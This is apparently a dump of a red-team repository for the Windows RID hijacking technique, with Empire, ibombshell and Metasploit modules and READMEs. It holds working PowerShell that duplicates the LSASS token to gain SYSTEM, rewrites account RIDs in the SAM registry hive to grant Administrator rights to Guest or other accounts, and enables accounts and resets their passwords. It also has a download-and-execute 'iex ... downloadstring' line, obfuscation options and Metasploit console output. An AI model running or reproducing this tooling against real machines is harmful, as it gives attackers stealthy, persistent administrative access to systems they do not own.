Attributes;\r\n    }\r\n\r\n\r\n    public struct TOKEN_PRIVILEGES {\r\n      public UInt32 PrivilegeCount;\r\n      [MarshalAs(UnmanagedType.ByValArray, SizeConst=ANYSIZE_ARRAY)]\r\n      public LUID_AND_ATTRIBUTES [] Privileges;\r\n    }\r\n\r\n    [DllImport(\"advapi32.dll\", SetLastError=true)]\r\n     public extern static bool DuplicateToken(IntPtr ExistingTokenHandle, int\r\n        SECURITY_IMPERSONATION_LEVEL, out IntPtr DuplicateTokenHandle);\r\n\r\n\r\n    [DllImport(\"advapi32.dll\", SetLastError=true)]\r\n    [return: MarshalAs(UnmanagedType.Bool)]\r\n    public static extern bool SetThreadToken(\r\n      IntPtr PHThread,\r\n      IntPtr Token\r\n    );\r\n\r\n    [DllImport(\"advapi32.dll\", SetLastError=true)]\r\n     [return: MarshalAs(UnmanagedType.Bool)]\r\n      public static extern bool OpenProcessToken(IntPtr ProcessHandle, \r\n       UInt32 DesiredAccess, out IntPtr TokenHandle);\r\n\r\n    [DllImport(\"advapi32.dll\", SetLastError = true)]\r\n    public static extern bool LookupPrivilegeValue(string host, string name, ref long pluid);\r\n\r\n    [DllImport(\"kernel32.dll\", ExactSpelling = true)]\r\n    public static extern IntPtr GetCurrentProcess();\r\n\r\n    [DllImport(\"advapi32.dll\", ExactSpelling = true, SetLastError = true)]\r\n     public static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall,\r\n     ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen);\r\n\"@\r\n\r\n  $currentPrincipal = New-Object Security.Principal.WindowsPrincipal ([Security.Principal.WindowsIdentity]::GetCurrent())\r\n  if ($currentPrincipal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) -ne $true) {\r\n    throw \"Run the Command as an Administrator\"\r\n    break\r\n  }\r\n\r\n  Add-Type -MemberDefinition $signature -Name AdjPriv -Namespace AdjPriv\r\n  $adjPriv = [AdjPriv.AdjPriv]\r\n  [long]$luid = 0\r\n\r\n  $tokPriv1Luid = New-Object AdjPriv.AdjPriv+TokPriv1Luid\r\n  $tokPriv1Luid.Count = 1\r\n  $tokPriv1Luid.Luid = $luid\r\n  $tokPriv1Luid.Attr = [AdjPriv.AdjPriv]::SE_PRIVILEGE_ENABLED\r\n\r\n  $retVal = $adjPriv::LookupPrivilegeValue($null,\"SeDebugPrivilege\",[ref]$tokPriv1Luid.Luid)\r\n\r\n  [IntPtr]$htoken = [IntPtr]::Zero\r\n  $retVal = $adjPriv::OpenProcessToken($adjPriv::GetCurrentProcess(),[AdjPriv.AdjPriv]::TOKEN_ALL_ACCESS,[ref]$htoken)\r\n\r\n\r\n  $tokenPrivileges = New-Object AdjPriv.AdjPriv+TOKEN_PRIVILEGES\r\n  $retVal = $adjPriv::AdjustTokenPrivileges($htoken,$false,[ref]$tokPriv1Luid,12,[IntPtr]::Zero,[IntPtr]::Zero)\r\n\r\n  if (-not ($retVal)) {\r\n    [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()\r\n    break\r\n  }\r\n\r\n  $process = (Get-Process -Name lsass)\r\n  [IntPtr]$hlsasstoken = [IntPtr]::Zero\r\n  $retVal = $adjPriv::OpenProcessToken($process.Handle,([AdjPriv.AdjPriv]::TOKEN_IMPERSONATE -bor [AdjPriv.AdjPriv]::TOKEN_DUPLICATE),[ref]$hlsasstoken)\r\n\r\n  [IntPtr]$dulicateTokenHandle = [IntPtr]::Zero\r\n  $retVal = $adjPriv::DuplicateToken($hlsasstoken,2,[ref]$dulicateTokenHandle)\r\n\r\n  $retval = $adjPriv::SetThreadToken([IntPtr]::Zero,$dulicateTokenHandle)\r\n  if (-not ($retVal)) {\r\n    [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()\r\n  }\r\n}\r\n"
  },
  {
    "path": "modules/empire/lib/modules/powershell/persistence/elevated/rid_hijack",
    "content": "from lib.common import helpers\n\n\nclass Module:\n\n    def __init__(self, mainMenu, params=[]):\n\n        self.info = {\n            'Name': 'Invoke-RIDHijacking',\n\n            'Author': ['Sebastian Castro @r4wd3r'],\n\n            'Description': ('Runs Invoke-RIDHijacking. Allows setting desired privileges to an existent account '\n                            'by modifying the Relative Identifier value copy used to create the access token. '\n                            'This module needs administrative privileges.'\n                            ),\n\n            'Background': False,\n\n            'OutputExtension': None,\n\n            'NeedsAdmin': True,\n\n            'OpsecSafe': True,\n\n            'Language': 'powershell',\n\n            'MinLanguageVersion': '2',\n\n            'Comments': [\n                'https://github.com/r4wd3r/RID-Hijacking',\n                'https://r4wsecurity.blogspot.com/2017/12/rid-hijacking-maintaining-access-on.html',\n                'https://csl.com.co/rid-hijacking/'\n            ]\n        }\n\n        self.options = {\n            'Agent': {\n                'Description':   'Agent to run module on.',\n                'Required'   :   True,\n                'Value'      :   ''\n            },\n            'RID' : {\n                'Description':   'RID to set to the specified account. Default 500.',\n                'Required'   :   False,\n                'Value'      :   '500'\n            },\n            'User' : {\n                'Description':   'User to set the defined RID.',\n                'Required'   :   False,\n                'Value'      :   ''\n            },\n            'UseGuest' : {\n                'Description':   'Switch. Set the defined RID to the Guest account.',\n                'Required'   :   False,\n                'Value'      :   ''\n            },\n            'Password' : {\n                'Description':   'Password to set to the defined account.',\n                'Required'   :   False,\n                'Value'      :   ''\n            },\n            'Enable' : {\n                'Description':   'Switch. Enable the defined account.',\n                'Required'   :   False,\n                'Value'      :   ''\n            }\n        }\n\n        # Save off a copy of the mainMenu object to access external\n        #   functionality like listeners/agent handlers/etc.\n        self.mainMenu = mainMenu\n\n        # During instantiation, any settable option parameters are passed as\n        #   an object set to the module and the options dictionary is\n        #   automatically set. This is mostly in case options are passed on\n        #   the command line.\n        if params:\n            for param in params:\n                # Parameter format is [Name, Value]\n                option, value = param\n                if option in self.options:\n                    self.options[option]['Value'] = value\n\n\n    def generate(self, obfuscate=False, obfuscationCommand=\"\"):\n\n        moduleSource = self.mainMenu.installPath + \"/data/module_source/persistence/Invoke-RIDHijacking.ps1\"\n        if obfuscate:\n            helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)\n            moduleSource = moduleSource.replace(\"module_source\", \"obfuscated_module_source\")\n        try:\n            f = open(moduleSource, 'r')\n        except:\n            print helpers.color(\"[!] Could not read module source path at: \" + str(moduleSource))\n            return \"\"\n\n        moduleCode = f.read()\n        f.close()\n\n        script = moduleCode\n        scriptEnd = \"Invoke-RIDHijacking\"\n\n        for option, values in self.options.iteritems():\n            if option.lower() != \"agent\":\n                if values['Value'] and values['Value'] != '':\n                    if values['Value'].lower() == \"true\":\n                        scriptEnd += \" -\" + str(option)\n                    else:\n                        scriptEnd += \" -\" + str(option) + \" \" + str(values['Value'])\n        if obfuscate:\n            scriptEnd = helpers.obfuscate(psScript=scriptEnd, installPath=self.mainMenu.installPath, obfuscationCommand=obfuscationCommand)\n        script += scriptEnd\n        return script\n"
  },
  {
    "path": "modules/ibombshell/README.md",
    "content": "# Windows RID Hijacking with ibombshell\n\n## Module Testing\nThe module `Invoke-RIDHijacking` is compatible with Powershell >=2.0. It requires a previous agent with administrative privileges. \n\nThis module has been tested against:\n\n- Windows XP, 2003. (32 bits)\n- Windows 8.1 Pro. (64 bits)\n- Windows 10. (64 bits)\n- Windows Server 2012. (64 bits)\n\n## Execution\n\n### Module options:\n\n![ibomb1](https://user-images.githubusercontent.com/14118912/53123310-c1ebdb80-3526-11e9-8e77-f685bc10e461.PNG)\n\n\n### Module execution with built-in guest account and -Silently option:\n\n![ibomb2](https://user-images.githubusercontent.com/14118912/53123324-c87a5300-3526-11e9-8c56-3378320f6d15.PNG)\n\n\n\n## References\nhttps://github.com/r4wd3r/RID-Hijacking\n\nhttps://r4wsecurity.blogspot.com/2017/12/rid-hijacking-maintaining-access-on.html\n\nhttps://r4wsec.com/notes/rid_hijacking/\n"
  },
  {
    "path": "modules/ibombshell/data/functions/persistence/invoke-ridhijacking",
    "content": "#Requires -Version 2\r\n\r\nfunction Invoke-RIDHijacking {\r\n\r\n<#\r\n\r\n.SYNOPSIS\r\nThis script will create an entry on the target by modifying some properties of an existing account.\nIt will change the account attributes by setting a Relative Identifier (RID), which should be owned \nby one existing account on the destination machine.\n\nTaking advantage of some Windows Local Users Management integrity issues, this module will allow to \r\nauthenticate with one known account credentials (like GUEST account), and access with the privileges \r\nof another existing account (like ADMINISTRATOR account), even if the spoofed account is disabled.\r\n    \r\nAuthor: Sebastian Castro @r4wd3r. E-mail: r4wd3r@gmail.com. Twitter: @r4wd3r.\r\nLicense: BSD 3-Clause\r\n\r\n.DESCRIPTION\r\nThe RID Hijacking technique allows setting desired privileges to an existent account in a stealthy manner\r\nby modifying the Relative Identifier value copy used to create the access token. This module needs administrative privileges. \r\n\r\n.PARAMETER User\r\nUser account to use as the hijacker. If -UseGuest, this parameter will be ignored.\r\n\r\n.PARAMETER Password\r\nPassword value to set for the hijacker account.\r\n\r\n.PARAMETER RID \r\nRID number in decimal of the victim account. Should be the RID of an existing account. 500 by default.\r\n\r\n.PARAMETER UseGuest\r\nSet GUEST built-in account as the destination of the privileges to be hijacked.\r\n\r\n.PARAMETER Enable\r\nEnable the hijacker account via registry modification.\r\n\r\n.EXAMPLE\r\nInvoke-RIDHijacking -User alice -RID 500\r\nSet Administrator privileges to alice custom user. \r\n\r\n.EXAMPLE\r\nInvoke-RIDHijacking -User alice -RID 500 -Password Password1\r\nSet Administrator privileges to alice custom user and set new password for alice.\r\n\r\n.EXAMPLE\r\nInvoke-RIDHijacking -User alice -RID 500 -Password Password1 -Enable\r\nSet Administrator privileges to alice custom user, set new password for alice and enable alice's account.\r\n\r\n.EXAMPLE\r\nInvoke-RIDHijacking -UseGuest -RID 500\r\nSet Administrator privileges to Guest Account. This could also work with the command Invoke-RIDHijacking -Guest.\r\n\r\n.EXAMPLE\r\nInvoke-RIDHijacking -UseGuest -RID 500 -Password Password1\r\nSet Administrator privileges to Guest Account and setting new password for Guest.\r\n\r\n.EXAMPLE\r\nInvoke-RIDHijacking -UseGuest -RID 1001\r\nSet custom account privileges to Guest Account. A custom local user with RID 1001 should exist.\r\n\r\n.EXAMPLE\r\nInvoke-RIDHijacking -UseGuest -RID 1001 -Password Password1\r\nSet custom account privileges to Guest Account and set new password for Guest. A custom local user with \r\nRID 1001 should exist.\r\n\r\n.EXAMPLE\r\nInvoke-RIDHijacking -User alice -RID 1002 -Password Password1 -Enable\r\nSet custom account privileges to alice custom user, set new password for alice and enable alice's account. \r\nA custom local user with RID 1002 should exist.\r\n\r\n.NOTES\r\nElevates privileges with LSASS token duplication:\r\nhttps://gallery.technet.microsoft.com/scriptcenter/Enable-TSDuplicateToken-6f485980\r\nAccess to local users data stored in registry based on Get-LocalUsersInfo\r\nhttps://gallery.technet.microsoft.com/scriptcenter/PowerShell-Get-username-fdcb6990\r\n\r\n\r\n.LINK\r\nhttps://csl.com.co/rid-hijacking/\r\nhttps://r4wsecurity.blogspot.com/2017/12/rid-hijacking-maintaining-access-on.html\r\nhttps://github.com/r4wd3r/RID-Hijacking\r\n\r\n#>\r\n  [CmdletBinding()] param(\r\n    [Parameter(Position = 0,Mandatory = $False)]\r\n    [string]\r\n    $User,\r\n\r\n    [string]\r\n    $Password,\r\n\r\n    [switch]\r\n    $UseGuest,\r\n\r\n    [ValidateRange(500,65535)]\r\n    [int]\r\n    $RID = 500,\r\n\r\n    [switch]\r\n    $Enable\r\n  )\r\n\r\n  begin {\r\n    # Checks SYSTEM privileges in the current thread or tries to elevate them via duplicating LSASS access token.\r\n    Write-Verbose \"Checking for SYSTEM privileges\"\r\n    if ([System.Security.Principal.WindowsIdentity]::GetCurrent().IsSystem) {\r\n      Write-Output \"[+] Process is already running as SYSTEM\"\r\n    }\r\n    else {\r\n      try {\r\n        Write-Verbose \"Trying to get SYSTEM privileges\"\r\n        Enable-TSDuplicateToken\r\n        Write-Output \"[+] Elevated to SYSTEM privileges\"\r\n      }\r\n      catch {\r\n        Write-Output \"[x] Administrator or SYSTEM privileges are required\"\r\n\t\treturn\r\n      }\r\n    }\r\n\r\n    # Obtains the needed registry values for each local user\r\n    $localUsers = Get-UserKeys\r\n    $currentUser = $null\r\n  }\r\n\r\n  process {\r\n\r\n    # Set to currentUser the account to be used as the hijacker.\r\n    Write-Verbose \"Checking users...\"\r\n    if ($UseGuest) {\r\n      $currentUser = $localUsers | Where-Object { $_.RID -eq 501 }\r\n    }\r\n    else {\r\n      if ($User) {\r\n        $currentUser = $localUsers | Where-Object { $_.UserName -contains $User }\r\n      }\r\n    }\r\n\r\n    # Verifies if the entered account exists.\r\n    if ($currentUser) {\r\n      \"[+] Found {0} account\" -f ($currentUser.UserName)\r\n      \"[+] Target account username: {0}\" -f $currentUser.UserName\r\n      \"[+] Target account RID: {0}\" -f $currentUser.RID\r\n    }\r\n    else {\r\n      Write-Output \"[x] User does not exists in system\"\r\n\t  return\r\n    }\r\n\r\n    # Creates a copy of the user's F REG_BINARY with requested modifications\r\n    $FModified = New-Object Byte[] $currentUser.F.length\r\n    for ($i = 0; $i -lt $currentUser.F.length; $i++) {\r\n      if ($Enable -and ($i -eq 56)) {\r\n        $FModified[$i] = 20\r\n        continue\r\n      }\r\n      # Sets the new RID in the F REG_BINARY copy\r\n      if ($RID -and ($i -eq 48)) {\r\n        $hexRid = [byte[]][BitConverter]::GetBytes($RID)\r\n        $FModified[$i],$FModified[$i + 1] = $hexRid[0],$hexRid[1]\r\n        $i++\r\n        continue\r\n      }\r\n      $FModified[$i] = $currentUser.F[$i]\r\n    }\r\n\r\n    \"[*] Current RID value in F for {0}: {1:x2}{2:x2}\" -f ($currentUser.UserName,$currentUser.F[49],$currentUser.F[48])\r\n    \"[*] Setting RID $RID ({1:x2}{2:x2}) in F for {0} \" -f ($currentUser.UserName,$FModified[49],$FModified[48])\r\n\r\n    # Writes changes to Registry\r\n    $fPath = \"HKLM:\\SAM\\SAM\\Domains\\Account\\Users\\{0:x8}\" -f $currentUser.RID\r\n\r\n    try {\r\n      Write-Verbose \"Writing changes to registry: $fPath\"\r\n      Set-ItemProperty -Path $fPath -Name F -Value $FModified\r\n    }\r\n    catch {\r\n      Write-Output \"[x] Error writing in registry. Path: $fPath\"\r\n\t  return\r\n    }\r\n\r\n    if ($Enable) {\r\n      Write-Output \"[+] Account has been enabled\"\r\n    }\r\n\r\n    if ($Password) {\r\n      Write-Output \"[*] Setting password to user...\"\r\n      net user $currentUser.UserName $Password\r\n      Write-Output \"[+] Password set to $Password\"\r\n    }\r\n    \"[+] SUCCESS: The RID $RID has been set to the account {0} with original RID {1}\" -f ($currentUser.UserName,$currentUser.RID)\r\n  }\r\n}\r\n\r\nfunction Get-UserName ([byte[]]$V) {\r\n  if (-not $V) { return $null };\r\n  $offset = [BitConverter]::ToInt32($V[0x0c..0x0f],0) + 0xCC;\r\n  $len = [BitConverter]::ToInt32($V[0x10..0x13],0);\r\n  return [Text.Encoding]::Unicode.GetString($V,$offset,$len);\r\n}\r\n\r\nfunction Get-UserKeys {\r\n  Get-ChildItem HKLM:\\SAM\\SAM\\Domains\\Account\\Users |\r\n  Where-Object { $_.PSChildName -match \"^[0-9A-Fa-f]{8}$\" } |\r\n  Add-Member AliasProperty KeyName PSChildName -Passthru |\r\n  Add-Member ScriptProperty UserName { Get-UserName ($this.GetValue(\"V\")) } -Passthru |\r\n  Add-Member ScriptProperty Rid { [Convert]::ToInt32($this.PSChildName,16) } -Passthru |\r\n  Add-Member ScriptProperty F { [byte[]]($this.GetValue(\"F\")) } -Passthru |\r\n  Add-Member ScriptProperty FRid { [BitConverter]::ToUInt32($this.GetValue(\"F\")[0x30..0x34],0) } -Passthru\r\n}\r\n\r\nfunction Enable-TSDuplicateToken {\r\n\r\n  $signature = @\"\r\n    [StructLayout(LayoutKind.Sequential, Pack = 1)]\r\n     public struct TokPriv1Luid\r\n     {\r\n         public int Count;\r\n         public long Luid;\r\n         public int Attr;\r\n     }\r\n\r\n    public const int SE_PRIVILEGE_ENABLED = 0x00000002;\r\n    public const int TOKEN_QUERY = 0x00000008;\r\n    public const int TOKEN_ADJUST_PRIVILEGES = 0x00000020;\r\n    public const UInt32 STANDARD_RIGHTS_REQUIRED = 0x000F0000;\r\n\r\n    public const UInt32 STANDARD_RIGHTS_READ = 0x00020000;\r\n    public const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001;\r\n    public const UInt32 TOKEN_DUPLICATE = 0x0002;\r\n    public const UInt32 TOKEN_IMPERSONATE = 0x0004;\r\n    public const UInt32 TOKEN_QUERY_SOURCE = 0x0010;\r\n    public const UInt32 TOKEN_ADJUST_GROUPS = 0x0040;\r\n    public const UInt32 TOKEN_ADJUST_DEFAULT = 0x0080;\r\n    public const UInt32 TOKEN_ADJUST_SESSIONID = 0x0100;\r\n    public const UInt32 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY);\r\n    public const UInt32 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY |\r\n      TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE |\r\n      TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT |\r\n      TOKEN_ADJUST_SESSIONID);\r\n\r\n    public const string SE_TIME_ZONE_NAMETEXT = \"SeTimeZonePrivilege\";\r\n    public const int ANYSIZE_ARRAY = 1;\r\n\r\n    [StructLayout(LayoutKind.Sequential)]\r\n    public struct LUID\r\n    {\r\n      public UInt32 LowPart;\r\n      public UInt32 HighPart;\r\n    }\r\n\r\n    [StructLayout(LayoutKind.Sequential)]\r\n    public struct LUID_AND_ATTRIBUTES {\r\n       public LUID Luid;\r\n       public UInt32 Attributes;\r\n    }\r\n\r\n\r\n    public struct TOKEN_PRIVILEGES {\r\n      public UInt32 PrivilegeCount;\r\n      [MarshalAs(UnmanagedType.ByValArray, SizeConst=ANYSIZE_ARRAY)]\r\n      public LUID_AND_ATTRIBUTES [] Privileges;\r\n    }\r\n\r\n    [DllImport(\"advapi32.dll\", SetLastError=true)]\r\n     public extern static bool DuplicateToken(IntPtr ExistingTokenHandle, int\r\n        SECURITY_IMPERSONATION_LEVEL, out IntPtr DuplicateTokenHandle);\r\n\r\n\r\n    [DllImport(\"advapi32.dll\", SetLastError=true)]\r\n    [return: MarshalAs(UnmanagedType.Bool)]\r\n    public static extern bool SetThreadToken(\r\n      IntPtr PHThread,\r\n      IntPtr Token\r\n    );\r\n\r\n    [DllImport(\"advapi32.dll\", SetLastError=true)]\r\n     [return: MarshalAs(UnmanagedType.Bool)]\r\n      public static extern bool OpenProcessToken(IntPtr ProcessHandle, \r\n       UInt32 DesiredAccess, out IntPtr TokenHandle);\r\n\r\n    [DllImport(\"advapi32.dll\", SetLastError = true)]\r\n    public static extern bool LookupPrivilegeValue(string host, string name, ref long pluid);\r\n\r\n    [DllImport(\"kernel32.dll\", ExactSpelling = true)]\r\n    public static extern IntPtr GetCurrentProcess();\r\n\r\n    [DllImport(\"advapi32.dll\", ExactSpelling = true, SetLastError = true)]\r\n     public static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall,\r\n     ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen);\r\n\"@\r\n\r\n  $currentPrincipal = New-Object Security.Principal.WindowsPrincipal ([Security.Principal.WindowsIdentity]::GetCurrent())\r\n  if ($currentPrincipal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) -ne $true) {\r\n    Write-Output \"[x] Run the Command as an Administrator\"\r\n    break\r\n  }\r\n\r\n  Add-Type -MemberDefinition $signature -Name AdjPriv -Namespace AdjPriv\r\n  $adjPriv = [AdjPriv.AdjPriv]\r\n  [long]$luid = 0\r\n\r\n  $tokPriv1Luid = New-Object AdjPriv.AdjPriv+TokPriv1Luid\r\n  $tokPriv1Luid.Count = 1\r\n  $tokPriv1Luid.Luid = $luid\r\n  $tokPriv1Luid.Attr = [AdjPriv.AdjPriv]::SE_PRIVILEGE_ENABLED\r\n\r\n  $retVal = $adjPriv::LookupPrivilegeValue($null,\"SeDebugPrivilege\",[ref]$tokPriv1Luid.Luid)\r\n\r\n  [IntPtr]$htoken = [IntPtr]::Zero\r\n  $retVal = $adjPriv::OpenProcessToken($adjPriv::GetCurrentProcess(),[AdjPriv.AdjPriv]::TOKEN_ALL_ACCESS,[ref]$htoken)\r\n\r\n\r\n  $tokenPrivileges = New-Object AdjPriv.AdjPriv+TOKEN_PRIVILEGES\r\n  $retVal = $adjPriv::AdjustTokenPrivileges($htoken,$false,[ref]$tokPriv1Luid,12,[IntPtr]::Zero,[IntPtr]::Zero)\r\n\r\n  if (-not ($retVal)) {\r\n    [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()\r\n    break\r\n  }\r\n\r\n  $process = (Get-Process -Name lsass)\r\n  [IntPtr]$hlsasstoken = [IntPtr]::Zero\r\n  $retVal = $adjPriv::OpenProcessToken($process.Handle,([AdjPriv.AdjPriv]::TOKEN_IMPERSONATE -bor [AdjPriv.AdjPriv]::TOKEN_DUPLICATE),[ref]$hlsasstoken)\r\n\r\n  [IntPtr]$dulicateTokenHandle = [IntPtr]::Zero\r\n  $retVal = $adjPriv::DuplicateToken($hlsasstoken,2,[ref]$dulicateTokenHandle)\r\n\r\n  $retval = $adjPriv::SetThreadToken([IntPtr]::Zero,$dulicateTokenHandle)\r\n  if (-not ($retVal)) {\r\n    [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()\r\n  }\r\n}\r\n"
  },
  {
    "path": "modules/ibombshell/ibombshell c2/modules/persistence/invoke-ridhijacking.py",
    "content": "from pathlib import Path\n\nfrom termcolor import colored, cprint\n\nfrom module import Module\n\n\nclass CustomModule(Module):\n    def __init__(self):\n        information = {\"Name\": \"RID hijacking\",\n                       \"Description\": \"Runs Invoke-RIDHijacking. Allows setting desired privileges to an existent account\"\n                                      \" by modifying the Relative Identifier value copy used to create the primary access token.\" \n                                      \" This module needs administrative privileges.\",\n                       \"Author\": \"Sebastian Castro @r4wd3r\",\n                       \"Link\": \"https://github.com/r4wd3r/RID-Hijacking\",\n                       \"License\": \"BSD 3-Clause\",\n                       \"Module\": \"@r4wd3r\"}\n\n        # -----------name-----default_value--description--required?\n        options = {\"warrior\": [None, \"Warrior in war\", True],\n                   \"RID\": [\"500\", \"RID to set to the specified account. Default 500.\", True],\n                   \"user\": [None, \"User to set the defined RID.\", False],\n                   \"useguest\": [None, \"Set the defined RID to the Guest account.\", False],\n                   \"password\": [None, \"Password to set to the defined account.\", False],\n                   \"enable\": [None, \"Enable the defined account.\", False]\n                   }\n\n        # Constructor of the parent class\n        super(CustomModule, self).__init__(information, options)\n\n    # This module must be always implemented, it is called by the run option\n    def run_module(self):\n        warrior_exist = False\n        for p in Path(\"/tmp/\").glob(\"ibs-*\"):\n            if str(p)[9:] == self.args[\"warrior\"]:\n                warrior_exist = True\n                break\n\n        if warrior_exist:\n            function = \"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/r4wd3r/RID-Hijacking/master/Invoke-RIDHijacking.ps1');\"\n            function += 'Invoke-RIDHijacking -RID {}'.format(self.args[\"RID\"])\n\n            if self.args[\"user\"]:\n                function += ' -User {}'.format(self.args[\"user\"])\n\n            if self.args[\"password\"]:\n                function += ' -Password {}'.format(self.args[\"password\"])\n\n            if str(self.args[\"useguest\"]).lower() == 'true':\n                function += ' -UseGuest'\n\n            if str(self.args[\"enable\"]).lower() == 'true':\n                function += ' -Enable'\n\n            with open('/tmp/ibs-{}'.format(self.args[\"warrior\"]), 'a') as f:\n                f.write(function)\n\n            cprint ('[+] Done!', 'green')\n\n        else:\n            cprint ('[!] Failed... Warrior not found', 'red')\n"
  },
  {
    "path": "modules/metasploit/README.md",
    "content": "# Windows RID Hijacking with Metasploit\n\nThis module will create an entry on the target by modifying some properties of an existing account. It will change the account attributes by setting a Relative Identifier (RID), which should be owned by one existing account on the destination machine.\n\nTaking advantage of some Windows Local Users Management integrity issues, this module will allow to authenticate with one known account credentials (like GUEST account), and access with the privileges of another existing account (like ADMINISTRATOR account), even if the spoofed account is disabled.\n\nBy using a `meterpreter` session against a Windows host, the module will try to acquire _**SYSTEM**_ privileges if needed, and will modify some attributes to hijack the permissions of an existing local account and set them to another one.\n\n## Vulnerable Software\n\nThis module has been tested against:\n\n- Windows XP, 2003. (32 bits)\n- Windows 8.1 Pro. (64 bits)\n- Windows 10. (64 bits)\n- Windows Server 2012. (64 bits)\n\nThis module was not tested against, but may work on:\n\n- Other versions of windows (x86 and x64).\n\n## Options\n\n- **GETSYSTEM**: Try to get _**SYSTEM**_ privileges on the victim. Default: `false`\n\n- **GUEST_ACCOUNT**: Use the _**GUEST**_ built-in account as the destination of the privileges to be hijacked. Set this account as the _hijacker_. Default: `false`.\n\n- **SESSION**: The session to run this module on. Default: `none`.\n\n- **USERNAME**: Set the user account (_SAM Account Name_) of the victim host which will be the destination of the privileges to be _hijacked_. Set this account as the _hijacker_. If **GUEST_ACCOUNT** option is set to `true`, this parameter will be ignored if defined. Default: `none`.\n\n- **PASSWORD**: Set or change the password of the account defined as the destination of the privileges to be hijacked, either _**GUEST**_ account or the user account set in **USERNAME** option. Set password to the _hijacker_ account. Default: `none`.\n\n- **RID**: Specify the RID number in decimal of the _victim account_. This number should be the RID of an existing account on the target host, no matter if it is disabled (i.e.: The RID of the _**Administrator**_ built-in account is 500). Set the RID owned by the account that will be _hijacked_. Default: `500`\n\n## Scenarios\n### Assigning Administrator privileges to Guest built-in account.\n```\nmsf post(rid_hijack) > set GETSYSTEM true\nGETSYSTEM => true\nmsf post(rid_hijack) > set GUEST_ACCOUNT true\nGUEST_ACCOUNT => true\nmsf post(rid_hijack) > set SESSION 1\nSESSION => 1\nmsf post(rid_hijack) > run\n\n[*] Checking for SYSTEM privileges on session\n[+] Session is already running with SYSTEM privileges\n[*] Target OS: Windows 8.1 (Build 9600).\n[*] Target account: Guest Account\n[*] Target account username: Invitado\n[*] Target account RID: 501\n[*] Account is disabled, activating...\n[+] Target account enabled\n[*] Overwriting RID\n[+] The RID 500 is set to the account Invitado with original RID 501\n[*] Post module execution completed\n```\n#### Results after login in as the Guest account.\n\n![guest_account](https://user-images.githubusercontent.com/14118912/36490462-4bf84d68-16f6-11e8-811c-bf2d8c42b93d.PNG)\n\n### Assigning Administrator privileges to local custom account.\n```\nmsf post(rid_hijack) > set GETSYSTEM true\nGETSYSTEM => true\nmsf post(rid_hijack) > set GUEST_ACCOUNT false\nGUEST_ACCOUNT => false\nmsf post(rid_hijack) > set USERNAME testuser\nUSERNAME => testuser\nmsf post(rid_hijack) > run\n\n[*] Checking for SYSTEM privileges on session\n[+] Session is already running with SYSTEM privileges\n[*] Target OS: Windows 8.1 (Build 9600).\n[*] Checking users...\n[+] Found testuser account!\n[*] Target account username: testuser\n[*] Target account RID: 1002\n[+] Target account is already enabled\n[*] Overwriting RID\n[+] The RID 500 is set to the account testuser with original RID 1002\n[*] Post module execution completed\n```\n#### Results after login in as the _testuser_ account.\n![testuser](https://user-images.githubusercontent.com/14118912/36490561-837bd2f0-16f6-11e8-8dc6-53283bb4d9ea.PNG)\n\n### Assigning custom privileges to Guest built-in account and setting new password to Guest.\n```\nmsf post(rid_hijack) > set GUEST_ACCOUNT true\nGUEST_ACCOUNT => true\nmsf post(rid_hijack) > set RID 1002\nRID => 1002\nmsf post(rid_hijack) > set PASSWORD Password.1\nPASSWORD => Password.1\nmsf post(rid_hijack) > run\n\n[*] Checking for SYSTEM privileges on session\n[+] Session is already running with SYSTEM privileges\n[*] Target OS: Windows 8.1 (Build 9600).\n[*] Target account: Guest Account\n[*] Target account username: Invitado\n[*] Target account RID: 501\n[+] Target account is already enabled\n[*] Overwriting RID\n[+] The RID 1002 is set to the account Invitado with original RID 501\n[*] Setting Invitado password to Password.1\n[*] Post module execution completed\n```\n### Assigning custom privileges to local custom account and setting new password to custom account.\n```\nmsf post(rid_hijack) > set GUEST_ACCOUNT false\nGUEST_ACCOUNT => false\nmsf post(rid_hijack) > set USERNAME testuser\nUSERNAME => testuser\nmsf post(rid_hijack) > set PASSWORD Password.2\nPASSWORD => Password.2\nmsf post(rid_hijack) > run\n\n[*] Checking for SYSTEM privileges on session\n[+] Session is already running with SYSTEM privileges\n[*] Target OS: Windows 8.1 (Build 9600).\n[*] Checking users...\n[+] Found testuser account!\n[*] Target account username: testuser\n[*] Target account RID: 1002\n[+] Target account is already enabled\n[*] Overwriting RID\n[+] The RID 1002 is set to the account testuser with original RID 1002\n[*] Setting testuser password to Password.2\n[*] Post module execution completed\n```\n\n## References\n\nhttps://r4wsec.com/notes/rid_hijacking/\n"
  },
  {
    "path": "modules/metasploit/rid_hijack.rb",
    "content": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Post\n  include Msf::Post::Windows::Registry\n  include Msf::Post::Windows::Priv\n\n  def initialize\n    super(\n      'Name' => 'Windows Manage RID Hijacking',\n      'Description' => %q{\n        This module will create an entry on the target by modifying some properties\n        of an existing account. It will change the account attributes by setting a\n        Relative Identifier (RID), which should be owned by one existing\n        account on the destination machine.\n\n        Taking advantage of some Windows Local Users Management integrity issues,\n        this module will allow to authenticate with one known account\n        credentials (like GUEST account), and access with the privileges of another\n        existing account (like ADMINISTRATOR account), even if the spoofed account is\n        disabled.\n      },\n      'License'       => MSF_LICENSE,\n      'Author'        => 'Sebastian Castro <sebastian.castro[at]cslcolombia.com>',\n      'Platform'      => ['win'],\n      'SessionTypes'  => ['meterpreter'],\n      'References'\t=> [\n        ['URL', 'http://csl.com.co/rid-hijacking/']\n      ])\n\n    